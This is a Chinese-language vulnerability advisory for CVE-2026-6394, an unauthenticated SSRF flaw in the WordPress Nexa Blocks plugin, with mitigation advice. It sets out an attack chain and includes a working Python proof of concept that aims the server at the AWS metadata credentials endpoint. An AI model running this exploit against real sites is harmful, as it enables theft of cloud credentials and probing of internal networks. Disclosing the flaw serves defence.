IPBUF安全漏洞报告
English
CVE-2026-6394 CVSS 5.4 中危

CVE-2026-6394: WordPress Nexa Blocks插件SSRF漏洞

披露日期: 2026-05-20

漏洞信息

漏洞编号
CVE-2026-6394
漏洞类型
服务端请求伪造 (SSRF)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Nexa Blocks WordPress Plugin

相关标签

SSRFWordPressNexa BlocksCWE-918Server-Side Request Forgery

漏洞概述

WordPress插件Nexa Blocks在1.1.1及以下版本中存在SSRF漏洞。由于`import_demo()`函数未验证用户输入的URL,且安全nonce在前端公开暴露,未认证攻击者可利用此漏洞从服务器发起HTTP请求,访问内部网络、云元数据服务(如AWS)或本地服务,导致敏感信息泄露。

技术细节

该漏洞的核心在于插件`import_demo()`函数直接将POST参数`demo_json_file`传递给`wp_remote_get()`,缺乏任何针对内网或私有网络目标的URL验证与限制。尽管该AJAX动作需要`nexa_blocks_nonce`,但插件通过`wp_localize_script`将此nonce输出在所有前端页面的HTML源码中,导致未认证攻击者可轻易获取并绕过认证。攻击者可构造恶意URL(如AWS元数据服务接口)发送请求。此外,还存在二次SSRF向量,即插件会解析攻击者控制的JSON响应并提取图片URL进行二次请求,实现了利用链的延伸。

攻击链分析

STEP 1
1. 获取Nonce
攻击者访问受影响网站的前端任意页面,查看HTML源代码,提取通过wp_localize_script暴露的nexa_blocks_nonce值。
STEP 2
2. 发起SSRF攻击
攻击者构造POST请求发送至/wp-admin/admin-ajax.php,action为import_demo,并在demo_json_file参数中填入内网敏感地址(如http://169.254.169.254),附带获取的nonce。
STEP 3
3. 链式利用
如果使用了JSON载荷,服务器解析响应后会尝试获取其中指定的图片URL,攻击者可利用这一行为进一步探测更多内网服务。
STEP 4
4. 数据回显
服务器将内网服务的响应返回给攻击者,导致AWS元数据、本地服务配置等敏感信息泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests target = "http://target-wordpress-site.com/wp-admin/admin-ajax.php" # Step 1: Visit frontend page to get 'nexa_blocks_nonce' from HTML source nonce = "REPLACE_WITH_ACTUAL_NONCE" # Internal URL to access (e.g., AWS Metadata) malicious_url = "http://169.254.169.254/latest/meta-data/iam/security-credentials/" payload = { "action": "import_demo", "demo_json_file": malicious_url, "nexa_blocks_nonce": nonce } response = requests.post(target, data=payload) if response.status_code == 200: print("[+] Exploit successful!") print("[+] Response:") print(response.text) else: print("[-] Exploit failed.")

影响范围

Nexa Blocks <= 1.1.1

防御指南

临时缓解措施
若无法立即升级,建议在服务器防火墙或WAF层面阻断WordPress出站访问内网IP(如127.0.0.1, 169.254.169.254等)及非必要的外部连接。同时,可以通过禁用该插件来暂时消除风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表